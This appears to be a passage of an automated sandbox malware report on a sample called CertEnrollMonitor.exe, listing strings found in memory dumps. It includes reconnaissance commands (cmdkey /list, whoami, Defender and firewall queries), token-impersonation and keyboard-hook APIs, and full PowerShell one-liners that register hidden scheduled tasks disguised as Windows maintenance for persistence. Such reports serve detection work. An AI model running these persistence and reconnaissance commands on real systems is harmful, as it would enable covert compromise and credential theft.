"\Device\HarddiskVolume2\Users\HAPUBWS\AppData\Roaming\Microsoft\Credentials\CertEnrollMonitor.exe" (Indicator: "\microsoft\credentials"; File: "00000000-00000808.00000000.225310.26840000.00000004.mdmp, 00000000-00002464.00000000.220532.A5C10000.00000004.mdmp, 00000000-00003624.00000000.223202.7A340000.00000004.mdmp, 00000000-00003676.00000000.223726.533B0000.00000004.mdmp, 00000000-00003832.00000000.219997.B8A00000.00000004.mdmp, 00000000-00004712.00000000.221050.2B540000.00000004.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00006268.00000000.222670.E32E0000.00000004.mdmp, 00000000-00006888.00000000.224779.B92A0000.00000004.mdmp, 00000000-00006900.00000000.224254.983C0000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") "%APPDATA%\Microsoft\Credentials\" (Indicator: "\microsoft\credentials"; File: "00000000-00002464.00000000.220532.3BD34000.00000002.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp")79:T11bb,Found string "cmd.exe /c chcp 65001 >nul && %s" (Indicator: "chcp"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") Found string "tasklist" (Indicator: "tasklist"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") Found string "whoami /priv /groups" (Indicator: "whoami"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") Found string "sc query WinDefend & netsh advfirewall show allprofiles state" (Indicator: "sc query"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") Found string "cmdkey /list" (Indicator: "cmdkey"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") Found string "ipconfig /all" (Indicator: "ipconfig"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") Found string "ipconfig /all" (Indicator: "ipconfig /all"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") Found string "netstat -anob" (Indicator: "netstat"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") Found string "net user" (Indicator: "net user"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") file/memory contains long string with (Indicator: "chcp"; File: "cmd.exe") Found string "/c chcp 65001 >nul && attrib +h +s "%APPDATA%\CertEnrollMonitor.exe"" (Indicator: "chcp"; File: "cmd.exe") Found string "/c chcp 65001 >nul && attrib +h +s "%APPDATA%\Microsoft\Credentials\CertEnrollMonitor.exe"" (Indicator: "chcp"; File: "cmd.exe") Found string "/c chcp 65001 >nul && clear" (Indicator: "chcp"; File: "cmd.exe") Found string "cmd.exe /c chcp 65001 >nul && %s" (Indicator: "chcp"; Source: "00000000-00002464.00000000.220532.3BD34000.00000002.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") Found string "tasklist" (Indicator: "tasklist"; Source: "00000000-00002464.00000000.220532.3BD34000.00000002.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") Found string "whoami /priv /groups" (Indicator: "whoami"; Source: "00000000-00002464.00000000.220532.3BD34000.00000002.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") Found string "sc query WinDefend & netsh advfirewall show allprofiles state" (Indicator: "sc query"; Source: "00000000-00002464.00000000.220532.3BD34000.00000002.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") Found string "cmdkey /list" (Indicator: "cmdkey"; Source: "00000000-00002464.00000000.220532.3BD34000.00000002.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") Found string "ipconfig /all" (Indicator: "ipconfig"; Source: "00000000-00002464.00000000.220532.3BD34000.00000002.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") Found string "ipconfig /all" (Indicator: "ipconfig /all"; Source: "00000000-00002464.00000000.220532.3BD34000.00000002.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") Found string "netstat -anob" (Indicator: "netstat"; Source: "00000000-00002464.00000000.220532.3BD34000.00000002.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") Found string "net user" (Indicator: "net user"; Source: "00000000-00002464.00000000.220532.3BD34000.00000002.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") Found string "cmd.exe /c chcp 65001 >nul && %s" (Indicator: "chcp"; Source: "00000000-00002920.00000000.218957.34CB4000.00000002.mdmp") Found string "tasklist" (Indicator: "tasklist"; Source: "00000000-00002920.00000000.218957.34CB4000.00000002.mdmp") Found string "whoami /priv /groups" (Indicator: "whoami"; Source: "00000000-00002920.00000000.218957.34CB4000.00000002.mdmp") Found string "sc query WinDefend & netsh advfirewall show allprofiles state" (Indicator: "sc query"; Source: "00000000-00002920.00000000.218957.34CB4000.00000002.mdmp") Found string "cmdkey /list" (Indicator: "cmdkey"; Source: "00000000-00002920.00000000.218957.34CB4000.00000002.mdmp")7a:T414,Process "powershell.exe" with commandline "powershell -NoP -W Hidden -C "$a=New-ScheduledTaskAction -Execute '%APPDATA%\\Microsoft\\Credentials\\CertEnrollMonitor.exe';$t=New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 2);$s=New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0;Register-ScheduledTask -Force -TaskName '\\Microsoft\\Windows\\Maintenance\\LicenseAgentWorker' -Action $a -Trigger $t -Settings $s"" (UID: 00000000-00007296) Process "powershell.exe" with commandline "powershell -NoP -W Hidden -C "$a=New-ScheduledTaskAction -Execute '%APPDATA%\\CertEnrollMonitor.exe';$t=New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 2);$s=New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0;Register-ScheduledTask -Force -TaskName '\\Microsoft\\Windows\\Maintenance\\WinSvcHost' -Action $a -Trigger $t -Settings $s"" (UID: 00000000-00005376)7b:T47e,Found registry deletion API: "RegDeleteKeyA" in file "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin" Found registry deletion API: "RegDeleteValueA" in file "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin" Found registry deletion API: "RegDeleteKeyA" in "00000000-00004712.00000000.221050.3BD59000.00000004.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00006268.00000000.222670.3BD59000.00000004.mdmp, 00000000-00006900.00000000.224254.3BD59000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp" Found registry deletion API: "RegDeleteValueA" in "00000000-00004712.00000000.221050.3BD59000.00000004.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00006268.00000000.222670.3BD59000.00000004.mdmp, 00000000-00006900.00000000.224254.3BD59000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp" Found registry deletion API: "RegDeleteKeyA" in "00000000-00004528.00000000.218376.34CD9000.00000004.mdmp" Found registry deletion API: "RegDeleteValueA" in "00000000-00004528.00000000.218376.34CD9000.00000004.mdmp"7c:T1f66,Found string "\Device\HarddiskVolume2" (Indicator: "\Device\"; Source: "00000000-00000808.00000000.225310.26840000.00000004.mdmp, 00000000-00001476.00000000.223242.5D3C0000.00000004.mdmp, 00000000-00001540.00000000.222722.FFB00000.00000004.mdmp, 00000000-00002300.00000000.224306.82F40000.00000004.mdmp, 00000000-00002464.00000000.220532.A5C10000.00000004.mdmp, 00000000-00003124.00000000.220038.61AA0000.00000004.mdmp, 00000000-00003624.00000000.223202.7A340000.00000004.mdmp, 00000000-00003676.00000000.223726.533B0000.00000004.mdmp, 00000000-00003832.00000000.219997.B8A00000.00000004.mdmp, 00000000-00004136.00000000.221633.B1380000.00000004.mdmp, 00000000-00004712.00000000.221050.2B540000.00000004.mdmp, 00000000-00004720.00000000.224831.E39D0000.00000004.mdmp, 00000000-00005116.00000000.223780.A36A0000.00000004.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00005596.00000000.220574.C0940000.00000004.mdmp, 00000000-00005632.00000000.221104.C7A10000.00000004.mdmp, 00000000-00006268.00000000.222670.E32E0000.00000004.mdmp, 00000000-00006888.00000000.224779.B92A0000.00000004.mdmp, 00000000-00006900.00000000.224254.983C0000.00000004.mdmp, 00000000-00007468.00000000.222162.8D290000.00000004.mdmp, 00000000-00007576.00000000.225350.80090000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00000808.00000000.225310.26840000.00000004.mdmp, 00000000-00001476.00000000.223242.5D3C0000.00000004.mdmp, 00000000-00001540.00000000.222722.FFB00000.00000004.mdmp, 00000000-00002300.00000000.224306.82F40000.00000004.mdmp, 00000000-00002464.00000000.220532.A5C10000.00000004.mdmp, 00000000-00003124.00000000.220038.61AA0000.00000004.mdmp, 00000000-00003624.00000000.223202.7A340000.00000004.mdmp, 00000000-00003676.00000000.223726.533B0000.00000004.mdmp, 00000000-00003832.00000000.219997.B8A00000.00000004.mdmp, 00000000-00004136.00000000.221633.B1380000.00000004.mdmp, 00000000-00004712.00000000.221050.2B540000.00000004.mdmp, 00000000-00004720.00000000.224831.E39D0000.00000004.mdmp, 00000000-00005116.00000000.223780.A36A0000.00000004.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00005596.00000000.220574.C0940000.00000004.mdmp, 00000000-00005632.00000000.221104.C7A10000.00000004.mdmp, 00000000-00006268.00000000.222670.E32E0000.00000004.mdmp, 00000000-00006888.00000000.224779.B92A0000.00000004.mdmp, 00000000-00006900.00000000.224254.983C0000.00000004.mdmp, 00000000-00007468.00000000.222162.8D290000.00000004.mdmp, 00000000-00007576.00000000.225350.80090000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Users\HAPUBWS\AppData\Roaming\Microsoft\Credentials\CertEnrollMonitor.exe" (Indicator: "\Device\"; Source: "00000000-00000808.00000000.225310.26840000.00000004.mdmp, 00000000-00002464.00000000.220532.A5C10000.00000004.mdmp, 00000000-00003624.00000000.223202.7A340000.00000004.mdmp, 00000000-00003676.00000000.223726.533B0000.00000004.mdmp, 00000000-00003832.00000000.219997.B8A00000.00000004.mdmp, 00000000-00004712.00000000.221050.2B540000.00000004.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00006268.00000000.222670.E32E0000.00000004.mdmp, 00000000-00006888.00000000.224779.B92A0000.00000004.mdmp, 00000000-00006900.00000000.224254.983C0000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Users\HAPUBWS\AppData\Roaming\CertEnrollMonitor.exe" (Indicator: "\Device\"; Source: "00000000-00001476.00000000.223242.5D3C0000.00000004.mdmp, 00000000-00001540.00000000.222722.FFB00000.00000004.mdmp, 00000000-00002300.00000000.224306.82F40000.00000004.mdmp, 00000000-00003124.00000000.220038.61AA0000.00000004.mdmp, 00000000-00004136.00000000.221633.B1380000.00000004.mdmp, 00000000-00004720.00000000.224831.E39D0000.00000004.mdmp, 00000000-00005116.00000000.223780.A36A0000.00000004.mdmp, 00000000-00005596.00000000.220574.C0940000.00000004.mdmp, 00000000-00005632.00000000.221104.C7A10000.00000004.mdmp, 00000000-00007468.00000000.222162.8D290000.00000004.mdmp, 00000000-00007576.00000000.225350.80090000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Users\HAPUBWS\AppData\Roaming\CertEnrollMonitor.exe" (Indicator: "\Device\"; Source: "00000000-00002920.00000000.218957.51D00000.00000004.mdmp") Found string "\Device\HarddiskVolume2" (Indicator: "\Device\"; Source: "00000000-00002920.00000000.218957.51D00000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00002920.00000000.218957.51D00000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00003612.00000000.214824.06990000.00000004.mdmp, 00000000-00003612.00000001.216746.06990000.00000004.mdmp, 00000000-00003612.00000002.218663.06990000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Users\HAPUBWS\AppData\Roaming\Microsoft\Credentials\CertEnrollMonitor.exe" (Indicator: "\Device\"; Source: "00000000-00003612.00000000.214824.06990000.00000004.mdmp, 00000000-00003612.00000001.216746.06990000.00000004.mdmp, 00000000-00003612.00000002.218663.06990000.00000004.mdmp") Found string "\Device\HarddiskVolume2" (Indicator: "\Device\"; Source: "00000000-00003800.00000000.217797.77470000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00003800.00000000.217797.77470000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Users\HAPUBWS\AppData\Roaming\CertEnrollMonitor.exe" (Indicator: "\Device\"; Source: "00000000-00003800.00000000.217797.77470000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00004168.00000000.216606.DB730000.00000004.mdmp, 00000000-00004168.00000001.216639.DB730000.00000004.mdmp") Found string "\Device\HarddiskVolume2" (Indicator: "\Device\"; Source: "00000000-00004168.00000001.216639.DB730000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Users\HAPUBWS\AppData\Roaming\CertEnrollMonitor.exe" (Indicator: "\Device\"; Source: "00000000-00004168.00000001.216639.DB730000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00004528.00000000.218376.B9610000.00000004.mdmp, 00000000-00004528.00000001.218395.B9610000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Users\HAPUBWS\AppData\Roaming\CertEnrollMonitor.exe" (Indicator: "\Device\"; Source: "00000000-00004528.00000000.218376.B9610000.00000004.mdmp, 00000000-00004528.00000001.218395.B9610000.00000004.mdmp") Found string "\Device\HarddiskVolume2" (Indicator: "\Device\"; Source: "00000000-00004528.00000001.218395.B9610000.00000004.mdmp") Found string "\Device\HarddiskVolume2" (Indicator: "\Device\"; Source: "00000000-00004696.00000000.219465.9B4A0000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00004696.00000000.219465.9B4A0000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Users\HAPUBWS\AppData\Roaming\Microsoft\Credentials\CertEnrollMonitor.exe" (Indicator: "\Device\"; Source: "00000000-00004696.00000000.219465.9B4A0000.00000004.mdmp") Found string "\Device\HarddiskVolume2" (Indicator: "\Device\"; Source: "00000000-00005088.00000000.217263.8C440000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00005088.00000000.217263.8C440000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Users\HAPUBWS\AppData\Roaming\CertEnrollMonitor.exe" (Indicator: "\Device\"; Source: "00000000-00005088.00000000.217263.8C440000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" (Indicator: "\Device\"; Source: "00000000-00005376.00000000.215589.0E580000.00000004.mdmp, 00000000-00005376.00000001.215842.0E580000.00000004.mdmp")7d:Ta32,Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") Found reference to API "RemoveDirectoryW" (Indicator: "RemoveDirectory"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") Found reference to API "DeleteFileW" (Indicator: "DeleteFile"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; Source: "00000000-00004712.00000000.221050.3BD59000.00000004.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00006268.00000000.222670.3BD59000.00000004.mdmp, 00000000-00006900.00000000.224254.3BD59000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") Found reference to API "DeleteFileW" (Indicator: "DeleteFile"; Source: "00000000-00004712.00000000.221050.3BD59000.00000004.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00006268.00000000.222670.3BD59000.00000004.mdmp, 00000000-00006900.00000000.224254.3BD59000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; Source: "00000000-00004712.00000000.221050.3BD59000.00000004.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00006268.00000000.222670.3BD59000.00000004.mdmp, 00000000-00006900.00000000.224254.3BD59000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") Found reference to API "RemoveDirectoryW" (Indicator: "RemoveDirectory"; Source: "00000000-00004712.00000000.221050.3BD59000.00000004.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00006268.00000000.222670.3BD59000.00000004.mdmp, 00000000-00006900.00000000.224254.3BD59000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; Source: "00000000-00004528.00000000.218376.34CD9000.00000004.mdmp") Found reference to API "DeleteFileW" (Indicator: "DeleteFile"; Source: "00000000-00004528.00000000.218376.34CD9000.00000004.mdmp") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; Source: "00000000-00004528.00000000.218376.34CD9000.00000004.mdmp") Found reference to API "RemoveDirectoryW" (Indicator: "RemoveDirectory"; Source: "00000000-00004528.00000000.218376.34CD9000.00000004.mdmp")7e:T41e,Found reference to API "SetWindowsHookExA" (Indicator: "SetWindowsHook"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") Found reference to API "CallNextHookEx" (Indicator: "CallNextHook"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") Found reference to API "UnhookWindowsHookEx" (Indicator: "UnhookWindowsHook"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") Found reference to API "CallNextHookEx" (Indicator: "CallNextHook"; Source: "00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") Found reference to API "SetWindowsHookExA" (Indicator: "SetWindowsHook"; Source: "00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") Found reference to API "UnhookWindowsHookEx" (Indicator: "UnhookWindowsHook"; Source: "00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp")7f:T82f,Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") Found reference to API "SeDebugPrivilege" (Indicator: "SeDebugPrivilege"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") Found reference to API "SeDebugPrivilege" (Indicator: "SeDebugPrivilege"; Source: "00000000-00002464.00000000.220532.3BD34000.00000002.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00004712.00000000.221050.3BD59000.00000004.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00006268.00000000.222670.3BD59000.00000004.mdmp, 00000000-00006900.00000000.224254.3BD59000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00004712.00000000.221050.3BD59000.00000004.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00006268.00000000.222670.3BD59000.00000004.mdmp, 00000000-00006900.00000000.224254.3BD59000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") Found reference to API "SeDebugPrivilege" (Indicator: "SeDebugPrivilege"; Source: "00000000-00002920.00000000.218957.34CB4000.00000002.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00004528.00000000.218376.34CD9000.00000004.mdmp") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00004528.00000000.218376.34CD9000.00000004.mdmp") Found reference to API "SeDebugPrivilege" (Indicator: "SeDebugPrivilege"; Source: "00000000-00005376.00000000.215589.0E580000.00000004.mdmp")80:Td37,Found reference to API "RevertToSelf" (Indicator: "RevertToSelf"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateToken"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateTokenEx"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") Found reference to API "ImpersonateLoggedOnUser" (Indicator: "ImpersonateLoggedOnUser"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateToken"; Source: "00000000-00004712.00000000.221050.3BD59000.00000004.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00006268.00000000.222670.3BD59000.00000004.mdmp, 00000000-00006900.00000000.224254.3BD59000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateTokenEx"; Source: "00000000-00004712.00000000.221050.3BD59000.00000004.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00006268.00000000.222670.3BD59000.00000004.mdmp, 00000000-00006900.00000000.224254.3BD59000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00004712.00000000.221050.3BD59000.00000004.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00006268.00000000.222670.3BD59000.00000004.mdmp, 00000000-00006900.00000000.224254.3BD59000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") Found reference to API "ImpersonateLoggedOnUser" (Indicator: "ImpersonateLoggedOnUser"; Source: "00000000-00004712.00000000.221050.3BD59000.00000004.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00006268.00000000.222670.3BD59000.00000004.mdmp, 00000000-00006900.00000000.224254.3BD59000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") Found reference to API "RevertToSelf" (Indicator: "RevertToSelf"; Source: "00000000-00004712.00000000.221050.3BD59000.00000004.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00006268.00000000.222670.3BD59000.00000004.mdmp, 00000000-00006900.00000000.224254.3BD59000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateToken"; Source: "00000000-00004528.00000000.218376.34CD9000.00000004.mdmp") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateTokenEx"; Source: "00000000-00004528.00000000.218376.34CD9000.00000004.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00004528.00000000.218376.34CD9000.00000004.mdmp") Found reference to API "ImpersonateLoggedOnUser" (Indicator: "ImpersonateLoggedOnUser"; Source: "00000000-00004528.00000000.218376.34CD9000.00000004.mdmp") Found reference to API "RevertToSelf" (Indicator: "RevertToSelf"; Source: "00000000-00004528.00000000.218376.34CD9000.00000004.mdmp")81:T601,Observed string: "shutdown /s /t 5" (Indicator: "shutdown ") in Source: 44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin Observed string: "shutdown /r /t 5" (Indicator: "shutdown ") in Source: 44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin Observed string: "shutdown /l" (Indicator: "shutdown ") in Source: 44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin Observed string: "shutdown /s /t 5" (Indicator: "shutdown ") in Source: 00000000-00002464.00000000.220532.3BD34000.00000002.mdmp 00000000-00005556.00000000.221580.F5550000.00000004.mdmp 00000000-00007960.00000000.222110.E6890000.00000004.mdmp Observed string: "shutdown /r /t 5" (Indicator: "shutdown ") in Source: 00000000-00002464.00000000.220532.3BD34000.00000002.mdmp 00000000-00005556.00000000.221580.F5550000.00000004.mdmp 00000000-00007960.00000000.222110.E6890000.00000004.mdmp Observed string: "shutdown /l" (Indicator: "shutdown ") in Source: 00000000-00002464.00000000.220532.3BD34000.00000002.mdmp 00000000-00005556.00000000.221580.F5550000.00000004.mdmp 00000000-00007960.00000000.222110.E6890000.00000004.mdmp Observed string: "shutdown /s /t 5" (Indicator: "shutdown ") in Source: 00000000-00002920.00000000.218957.34CB4000.00000002.mdmp Observed string: "shutdown /r /t 5" (Indicator: "shutdown ") in Source: 00000000-00002920.00000000.218957.34CB4000.00000002.mdmp Observed string: "shutdown /l" (Indicator: "shutdown ") in Source: 00000000-00002920.00000000.218957.34CB4000.00000002.mdmp82:T51e,Found reference to API "ExitProcess" (Indicator: "ExitProcess"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00004712.00000000.221050.3BD59000.00000004.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00006268.00000000.222670.3BD59000.00000004.mdmp, 00000000-00006900.00000000.224254.3BD59000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00004712.00000000.221050.3BD59000.00000004.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00006268.00000000.222670.3BD59000.00000004.mdmp, 00000000-00006900.00000000.224254.3BD59000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00004528.00000000.218376.34CD9000.00000004.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00004528.00000000.218376.34CD9000.00000004.mdmp")83:T77c,"CertEnrollMonitor.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "7C850E3DE9CADC010000000000000000000000000200000000") "CertEnrollMonitor.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "B5A28BC9E9CADC010000000000000000000000000200000000") "CertEnrollMonitor.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "44B6F3CEE9CADC010000000000000000000000000200000000") "CertEnrollMonitor.exe" (Access type: "SETVAL"; Path: 